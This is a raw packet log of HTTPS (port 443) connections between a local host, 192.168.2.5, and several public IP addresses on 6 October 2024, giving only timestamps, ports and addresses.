Oct 6, 2024 14:08:22.592169046 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.592189074 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.592231989 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.592243910 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.592258930 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.592279911 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.592303991 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.593786955 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.593822002 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.593885899 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.593928099 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.593965054 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.594547033 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.594613075 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.594641924 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.594695091 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.594736099 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.594744921 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.594765902 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.594789982 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.594799995 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.594805956 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.594835997 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.594871998 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.596024990 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596045971 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596070051 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596092939 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.596107960 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596134901 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.596770048 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596793890 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596836090 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.596848011 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.596877098 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.600806952 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.600820065 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.601938963 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.601979971 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.602039099 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.604645014 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.604662895 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.621696949 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.621745110 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.621757984 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.621777058 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.621824026 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.621905088 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.621964931 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.621999025 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622010946 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622018099 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622071981 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622493029 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622500896 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622555971 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622560024 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622567892 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622607946 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622617006 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622643948 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622716904 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622764111 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.622771978 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.622814894 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.623116970 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.623174906 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.623275995 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.623301029 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.623366117 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.623565912 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.623629093 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.623826981 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.623887062 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.623927116 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.623951912 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.624541998 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.624583960 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.624619961 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.624625921 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.624663115 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.624674082 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.624721050 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.624905109 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.624918938 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.655567884 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.655654907 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.655709982 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:22.679579973 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.679641008 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.679681063 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.679738998 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.679770947 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.680638075 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.680690050 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.680710077 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.680711031 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.680730104 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.680752993 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.680756092 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.680773020 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.680795908 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.681863070 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.681904078 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.681941032 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.681956053 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.681983948 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.682523966 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.682574987 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.682612896 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.682625055 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.682651043 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.683273077 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.683314085 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.683358908 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.683379889 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.683424950 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.684587955 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.684637070 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.684660912 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.684674025 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.684717894 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.685077906 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.685132980 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.685146093 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.685159922 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.685199976 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.685276031 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.696031094 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:22.696058035 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.708504915 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.708545923 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.708606958 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.709181070 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.709201097 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.766015053 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766078949 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766119003 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.766168118 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766205072 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.766614914 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766668081 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766689062 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.766702890 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.766730070 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.767422915 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.767466068 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.767513037 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.767545938 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.767573118 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.771169901 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771219969 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771250010 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.771270037 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771297932 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.771812916 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771853924 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771891117 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.771903992 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.771931887 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.772272110 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.772319078 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.772340059 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.772351027 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.772377968 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.772398949 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.773085117 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773132086 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773158073 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.773170948 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773204088 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.773607969 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773658037 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773688078 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.773699999 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.773732901 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.774163008 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774213076 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774234056 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774252892 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774266958 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.774282932 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774300098 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.774303913 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774326086 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774343967 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774353027 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.774370909 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.774398088 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.774398088 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.817621946 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.817652941 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.004134893 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004203081 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004251957 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.004301071 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004334927 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.004358053 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.004658937 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004703045 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004733086 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.004745960 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.004774094 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.004793882 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.005621910 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.005666018 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.005708933 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.005752087 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.005769014 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.005796909 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.005817890 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.005964994 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.005987883 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.006443024 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.006617069 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.006633997 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006655931 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006656885 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.006673098 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006699085 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.006711006 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.006736040 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.006747007 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.006768942 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.006768942 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.006807089 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006825924 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006858110 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.006872892 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.006895065 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.006918907 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.006973028 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.007049084 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.007226944 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.007556915 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.007607937 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.007636070 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.007647991 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.007675886 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.007695913 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008537054 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008594990 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008629084 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008641005 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008668900 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008688927 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008703947 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008764982 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008780956 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008785963 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008815050 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.008835077 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.008954048 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.009020090 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.009176016 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:23.009202957 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:23.010696888 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010719061 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010761023 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010780096 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010814905 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.010814905 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.010814905 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.010833979 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010852098 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.010876894 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.010896921 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.010993958 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.011030912 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.011064053 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.011074066 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.011085987 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.011111021 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.011658907 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.011753082 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.011792898 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.011842012 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.012185097 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.012219906 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.012274027 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.012490988 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.012506962 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.014183998 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.014367104 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.014375925 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.014919996 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.015223026 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.015345097 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.015355110 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.015409946 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.015563965 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.015575886 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.016330004 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.016993046 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.017144918 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.017246962 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.017716885 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.017741919 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.017934084 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.019176006 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.019251108 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.020519018 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.021080971 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.021126032 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.021140099 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.021156073 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.022325039 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.022334099 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.022524118 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.022598028 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.022917032 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.022984982 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.023036957 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.023042917 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.044954062 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.045173883 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.045182943 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.046653032 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.046720028 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.047086000 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.047162056 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.047229052 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.047235012 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.051415920 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.063414097 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.067444086 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.137763023 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.137825966 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.137866974 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.137868881 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.137883902 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.137929916 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.137938976 CEST	443	49745	172.67.175.206	192.168.2.5
